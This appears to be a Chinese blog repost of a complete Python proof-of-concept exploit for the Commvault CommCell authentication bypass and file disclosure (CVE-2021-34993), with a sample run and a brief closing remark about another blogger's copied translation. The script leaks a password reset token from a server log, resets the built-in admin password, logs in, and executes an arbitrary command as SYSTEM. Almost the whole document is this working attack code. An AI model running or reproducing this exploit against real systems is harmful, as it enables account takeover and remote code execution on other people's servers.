Commvault CommCell 认证绕过与任意文件下载【CVE-2021-34993】
漏洞分析:分析
POC地址:poc
你可能需要个梯子:twitter
POC:
#!/usr/bin/env python3
"""
Commvault Commcell CVAuthHttpModule OnEnter Authentication Bypass Vulnerability
Download: https://downloadcenter.commvault.com/CVDownloadCenter/11.0/build80/Bootstrappers/SP22/CommvaultExpress_Media_11_22.exe?__cv__=1621244407_f429a2139f351674cb6292da156843ea&ext=.exe
Installer: CommvaultExpress_Media_11_22.exe
SHA1(CommvaultExpress_Media_11_22.exe)= a0c3a652fa69f96c2f7e7559b51309034709ac02
Found by: Justin Kennedy, Brandon Perry and Steven Seeley
Bug 1: https://www.zerodayinitiative.com/advisories/ZDI-21-1328/
Bug 2: https://www.zerodayinitiative.com/advisories/ZDI-21-1331/
# Notes
This exploit:
- ...is a combination of two bugs to achieve authentication bypass
1. CVAuthHttpModule OnEnter Partial Authentication Bypass
2. CVSearchSvc downLoadFile File Disclosure
- ...will reset the SystemCreatedAdmin user accounts password to Sup3rPWD123!! so this is LOUD.
- ...will trigger an RCE in the Demo_ExecuteProcessOnGroup component, to ensure it achieves SYSTEM access instead of NETWORK SERVICE :->
# Example
researcher@neophyte:~$ ./poc.py
(+) usage: ./poc.py <target> <cmd>
(+) eg: ./poc.py 192.168.184.142 mspaint
researcher@neophyte:~$ ./poc.py 192.168.184.142 mspaint
(+) triggering password reset token for SystemCreatedAdmin...
(+) password reset token logged!
(+) leaking password reset token...
(+) leaked reset token: 3878c9e543ce057c8ad95ace6504e71338f492d488d20e058831469413d5db487740ccd1295da6993374f82c4c9f7a59b
(+) reseting SystemCreatedAdmin's password...
(+) done! reset the password to: U3VwM3JQV0QxMjMhIQ==
(+) logging in...
(+) logged in! obtained encrypted token
(+) triggering rce...
(+) done! executed command: "mspaint" as NT AUTHORITY/SYSTEM
"""
import requests
import sys
import urllib3
import base64
import re
from lxml.etree import fromstring
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def trigger_pwd_reset_token(t):
uri = "https://%s/webconsole/" % t
s = requests.Session()
s.get("%slogin/index.jsp" % uri, verify=False)
r = s.get("%sTFAStatus.do" % uri, params={"username":"SystemCreatedAdmin"}, verify=False)
assert r.status_code == 200, "(-) password reset failed during setup!"
d = {"username":"SystemCreatedAdmin"}
h = {"X-CSRF-Token": s.cookies['csrf']}
r = s.post("%sresetPassword.do" % uri, data=d, headers=h, verify=False)
assert r.status_code == 200, "(-) password reset failed!"
return s
def leak_reset_token(t):
uri = "http://%s:81/SearchSvc/CVSearchService.svc" % t
h = {
"cookie" : "Login", # partial auth bypass
"soapaction" : "http://tempuri.org/ICVSearchSvc/downLoadFile",
"content-type" : "text/xml"
}
d = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:downLoadFile>
<tem:path>c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log</tem:path>
</tem:downLoadFile>
</soapenv:Body>
</soapenv:Envelope>"""
r = requests.post(uri, data=d, headers=h)
assert r.status_code == 200, "(-) log leak failed!"
assert r.headers['content-type'] == "text/xml; charset=utf-8", "(-) invalid xml response from the log leak!"
xml = fromstring(r.text.encode('utf-8'))
ns = { "s":"http://schemas.xmlsoap.org/soap/envelope/", "d":"http://tempuri.org/" }
dfr = xml.xpath('//s:Envelope//s:Body//d:downLoadFileResponse//d:downLoadFileResult', namespaces=ns).pop()
webserverlog = base64.b64decode(dfr.text.encode('utf-8'))
matches = re.findall("gid=(.*)", webserverlog.decode("utf-8") )
assert len(matches) > 0, "(-) no reset token found in the log?"
r = requests.get("https://%s/webconsole/gtl.do" % t, params={"gid":matches.pop()}, allow_redirects=False, verify=False)
match = re.search("tk=(.*)", r.headers["location"])
assert match !=None, "(-) couldn't leak password reset token from 302!"
return match.group(1)
def reset_password(s, t, tkn, pwd):
uri = "https://%s/webconsole/resetPasswordReq.do" % t
d = {
"password": pwd,
"token": tkn
}
h = {"X-CSRF-Token": s.cookies['csrf']}
r = s.post(uri, data=d, headers=h, verify=False)
assert r.status_code == 200, "(-) password reset failed!"
def login(t, pwd):
uri = "http://%s:81/SearchSvc/CVWebService.svc/Login" % t
d = """<DM2ContentIndexing_CheckCredentialReq mode="Webconsole" username="SystemCreatedAdmin" password="%s" />""" % pwd
r = requests.post(uri, data=d)
assert r.status_code == 200, "(-) login failed!"
xml = fromstring(r.text.encode('utf-8'))
ccr = xml.xpath('/DM2ContentIndexing_CheckCredentialResp').pop()
assert ccr.attrib["token"].startswith("QSDK"), "(-) failed to obtain QSDK token when logging in!"
return ccr.attrib["token"]
def trigger_workflow(t, qsdk, cmd):
uri = "https://%s/webconsole/api/Workflow/Demo_ExecuteProcessOnGroup/Action/Execute" % t
h = {
"content-type" : "application/json",
"authtoken" : qsdk
}
j = {
"Workflow_StartWorkflow": {
"outputFormat": "",
"options": {
"inputs": {
"clientGroup": "Infrastructure",
"processName": cmd, # we are already in the cmd interpreter
"arguments": "",
"startupPath":"",
"impersonateUserName":"",
"impersonateUserPassword":"",
}
},
"client": {
"clientName": ""
}
}
}
r = requests.post(uri, json=j, headers=h, verify=False)
assert r.status_code == 200, "(-) rce failed!"
def main():
if len(sys.argv) != 3:
print("(+) usage: %s <target> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.184.142 mspaint" % sys.argv[0])
sys.exit(1)
t = sys.argv[1]
c = sys.argv[2]
pwd = "Sup3rPWD123!!" # change this for whatever you like
pwd = base64.b64encode(pwd.encode("utf-8")).decode("utf-8")
print("(+) triggering password reset token for SystemCreatedAdmin...")
s = trigger_pwd_reset_token(t)
print("(+) password reset token logged!")
print("(+) leaking password reset token...")
token = leak_reset_token(t)
print("(+) leaked reset token: %s" % token)
print("(+) reseting SystemCreatedAdmin's password...")
reset_password(s, t, token, pwd)
print("(+) done! reset the password to: %s" % pwd)
print("(+) logging in...")
qsdk = login(t, pwd)
print("(+) logged in! obtained encrypted token")
print("(+) triggering rce...")
trigger_workflow(t, qsdk, c)
print("(+) done! executed command: \"%s\" as NT AUTHORITY/SYSTEM" % c)
if __name__ == "__main__":
main()
当然你想看中文版的这儿有:中文版
这大哥昨天发了这个漏洞,我看了一遍准备搞个靶场试一下,结果他还想让我给他引流…
今天上网一搜还不是翻译的别人国外的文章,差点就给我豁到了…